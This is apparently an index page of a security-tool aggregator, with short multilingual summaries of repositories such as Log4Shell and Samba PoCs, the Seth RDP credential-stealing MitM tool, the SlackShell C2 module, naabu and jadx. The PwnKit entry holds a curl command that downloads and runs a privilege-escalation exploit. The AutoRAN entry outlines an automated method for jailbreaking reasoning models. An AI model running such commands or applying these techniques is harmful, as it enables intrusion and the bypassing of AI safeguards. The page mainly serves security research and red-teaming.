Log4Shell-CVE-2021-44228-Demo

CVE-2021–44228 Demo 1. CVE-2021–44228 簡介 2021 年底資安界最大的新聞莫過於 Log4j 的漏洞，編號為 CVE-2021-44228，又被稱為 Log4Shell ，在 CVSS 漏洞評分系統中被評判為最嚴重等級的 10 分 ，也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。有人甚至形容它為「核彈級漏洞」，可見這個漏洞的影響程度之深遠。本次專題針對 CVE-2021-44228 進行分析，並且配合 lab 實作。 2. 關於 Log4j...

Seth

Seth Seth 是一个用 Python 和 Bash 编写的工具，用于通过尝试降级 RDP 连接以提取明文凭据，从而对 RDP 连接执行 MitM。它的开发旨在提高人们对正确配置 RDP 连接重要性的认识，并在渗透测试、工作坊或演讲中进行教育。作者是 Adrian Vollmer（SySS GmbH）。 用法 像这样运行： root@kitploit: $ ./seth.sh 除非 RDP 主机与受害机器位于同一子网，否则最后一个 IP 地址必须是网关的 IP 地址。 最后一个参数是可选的。它可以包含一个命令，该命令通过按键事件注入模拟 WIN+R 在 RDP...

cve-2015-1187-dir820l-firmware-reverse-engineering

cve-2015-1187-dir820l-firmware-reverse-engineering Static firmware reverse engineering of CVE-2015-1187 in the D-Link DIR-820L using Strings, Ghidra, and Binwalk. Done by extracting MIPS root filesystem, identifying the ncc2 backend handler, and tracing pingaddr through command construction to...

CVE-2023-7028

CVE-2023-7028 Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones desde 16.1 hasta antes de 16.1.6, 16.2 hasta antes de 16.2.9, 16.3 hasta antes de 16.3.7, 16.4 hasta antes de 16.4.5, 16.5 hasta antes de 16.5.6, 16.6 hasta antes de 16.6.4 y 16.7 hasta antes de 16.7.2, e...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49 中的路径遍历与文件泄露漏洞 CVE-2021-41773 信息 在 Apache HTTP Server 2.4.49 的路径规范化更改中发现了一个缺陷。攻击者可以利用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。 如果文档根目录之外的文件未受 "require all denied" 保护，这些请求可能成功。此外，此缺陷可能泄露解释型文件（如 CGI 脚本）的源代码。 此问题已知已在野外被利用。 该问题仅影响 Apache 2.4.49，不影响早期版本。 鸣谢：该问题由 Ash Daulton ...

dnsmonster

我们正在探索dnsmonster的托管SaaS解决方案！ 通过分享您的反馈和需求，帮助塑造被动DNS监控的未来：参加我们的快速调查 目录 Dnsmonster 主要功能 安装 Linux 容器 手动构建 静态构建 Windows FreeBSD 和 MacOS 架构 使用Docker的一体化安装 一体化演示 企业部署 配置 命令行选项 环境变量 配置文件 保留策略是什么 采样与跳过 预处理采样 跳过域名 允许域名 Clickhouse SELECT查询中的SAMPLE 支持的输入 支持的输出 路线图 相关项目 Dnsmonster 基于Golang的被动DNS监控框架。...

CVE-2019-6447-ES-File-Explorer

CVE-2019-6447：ES文件管理器未认证HTTP服务 一个独立实现、注重安全的研究工具和技术分析，针对 CVE-2019-6447 ——该漏洞涉及受影响的Android版ES文件管理器暴露的未认证HTTP服务。 仅限授权研究。 请仅对您拥有或明确获得测试许可的设备使用本项目。CLI默认仅进行非侵入式TCP探测。请求设备数据或文件的操作需要显式的实验室授权标志。 执行摘要 属性| 值 ---|--- 受影响产品| Android版ES文件管理器文件管理应用 受影响版本| 4.1.9.7.4及更早版本 暴露服务| TCP/59777上的未认证HTTP服务器 攻击前提|...

Security update for nodejs18

This update for nodejs18 fixes the following issues: CVE-2025-22150: undici: insufficiently random values used when defining the boundary for a multipart/form-data request bsc1236258. CVE-2025-23166: improper error handling in async cryptographic operations crashes process bsc1243218...

AutoRAN-public

🧠 AutoRAN：大型推理模型中安全推理的自动化劫持 AutoRAN 是一种自动化的安全推理劫持方法，利用对齐程度较低（次要）的辅助模型模拟推理轨迹、生成叙事性提示，并迭代优化这些提示，以绕过现代大型推理模型（LRMs）中的安全推理。 ⚠️ 免责声明 ：本仓库仅用于受控安全研究和 AI 安全红队测试。 🔍 核心特性 ⚙️ 自动化多轮越狱 ：通过迭代提示优化实现 🧩 叙事模板 ：在看似合理的教育/道德幌子下包装恶意目标 🔁 优化策略 ：利用中间推理轨迹演化提示 📈 在商业 LRM 上近乎 100% 的攻击成功率 🔬 在 AdvBench 、HarmBench 和 StrongReject...

naabu

Features • Installation • Usage • Running naabu • Config • NMAP integration • CDN/WAF Exclusion • Discord Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT/UDP scans o...

naabu

功能 • 安装 • 使用 • 运行naabu • 配置 • NMAP集成 • CDN/WAF排除 • Discord Naabu 是一款用 Go 编写的端口扫描工具，能够以快速且可靠的方式枚举主机的有效端口。它是一款非常简单的工具，可对主机/主机列表执行快速的 SYN/CONNECT/UDP 扫描，并列出所有返回响应的端口。 功能 快速简单的基于 SYN/CONNECT/UDP 探测的扫描 针对易用性和轻量级 资源消耗进行了优化 DNS 端口扫描 自动 IP 去重 （针对 DNS 端口扫描） IPv4/IPv6 端口扫描（实验性 ） 使用 Shodan Internetdb 的被动 端口...

authz0

Authz0 是一款自动化授权测试工具。可以基于 URL 和角色（Roles）及凭据（Credentials）来识别未授权访问。 URL 和角色通过基于 YAML 的模板进行管理，可以通过 authz0 自动创建和添加。您也可以基于一次创建/生成的模板文件，使用多个认证头和 Cookie 进行测试。 🛸 关键特性 生成扫描模板 $ authz0 new 包含 URLs 包含角色（Roles） 包含 ZAP 历史记录（选择 URL 将选中的条目保存为 HAR） 包含 Burp 历史记录（选择 URL 保存条目） 包含 HAR 文件 轻松修改扫描模板（角色、URL）$ authz0 setU...

jadx

JADX jadx - Dex to Java decompiler Command line and GUI tools for producing Java source code from Android Dex and Apk files !WARNING Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds. Main features: decompil...

jadx

JADX jadx - Descompilador de Dex a Java Herramientas de línea de comandos y GUI para generar código fuente Java a partir de archivos Android Dex y Apk !WARNING Tenga en cuenta que en la mayoría de los casos jadx no puede descompilar el 100% del código, por lo que se producirán errores. Consulte l...

byvalver

byvalver ·𐑚𐑲𐑝𐑨𐑤𐑝𐑼 Shellcode 坏字节驱逐器 概述 • 快速开始 • 交互式 TUI • 针对性的坏字节消除 • 坏字节配置文件 • 功能特性 • 架构 • 系统要求 • 依赖项 • 构建 • 安装 • 用法 • 混淆策略 • 去零化策略 • 机器学习训练 • 代理集合 • 开发 • 故障排除 • 许可 目录 概述 快速开始 安装 基本用法 验证 跨架构支持 批量处理 交互式 TUI 针对性的坏字节驱逐 坏字节配置文件 功能特性 高级转换引擎 性能指标 混淆层 机器学习驱动的策略选择 输出选项 验证套件 架构 系统要求 依赖项 构建 安装 用法 混淆策略 去零化策...

SlackShell

SlackShell 描述与更新日志 v1.0 此PowerShell模块包含多种利用Slack API创建命令与控制通道的函数。主函数Start-Shell会连接至用户指定的Slack频道，并使用提供的API认证令牌对指定Slack团队和用户进行身份验证。频道中输入的任何命令都将在主机上的PowerShell中执行。 SlackShell项目需要PowerShell v3及以上版本，因为其使用Invoke-RestMethod进行API调用。未来开发将继续使用当前PowerShell...

CVE-2026-4480-PoC

CVE-2026-4480: Inyección en print-command %J de Samba - PoC Importante — Lea esto primero: Este repositorio y exploit.py se proporcionan solo con fines educativos y de investigación. No use este código contra sistemas, redes o servicios para los cuales no tenga autorización explícita y por escrit...

checkov

Checkov 是一个用于基础设施即代码（IaC）的静态代码分析工具，同时也是用于镜像和开源包的软件组成分析（SCA）工具。 它扫描使用 Terraform、Terraform 计划、Cloudformation、AWS SAM、Kubernetes、Helm charts、Kustomize、Dockerfile、Serverless、Bicep、OpenAPI、ARM 模板 或 OpenTofu 配置的云基础设施，并使用基于图的扫描检测安全与合规配置错误。 它执行 软件组成分析（SCA）扫描，即对开源包和镜像进行常见漏洞与暴露（CVE）扫描。 Checkov 还为 Prisma...

PwnKit

PwnKit 针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动运行 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit ...

cloud-custodian

Cloud Custodian c7n Cloud Custodian（又称 c7n）是一个用于管理公有云账户和资源的规则引擎。它允许用户定义策略，以实现一个既安全又成本优化的良好管理云基础设施。它将组织中许多临时脚本整合到一个轻量级且灵活的工具中，并提供统一的指标和报告。 Custodian 可用于管理 AWS、Azure 和 GCP 环境，通过确保对安全策略（如加密和访问要求）、标签策略以及通过垃圾回收未使用资源和非工作时间资源管理来降低成本，实现实时合规。 Custodian 还支持对基础设施即代码资产运行策略，以便直接在开发者工作站或 CI 管道中提供反馈。 Custodian...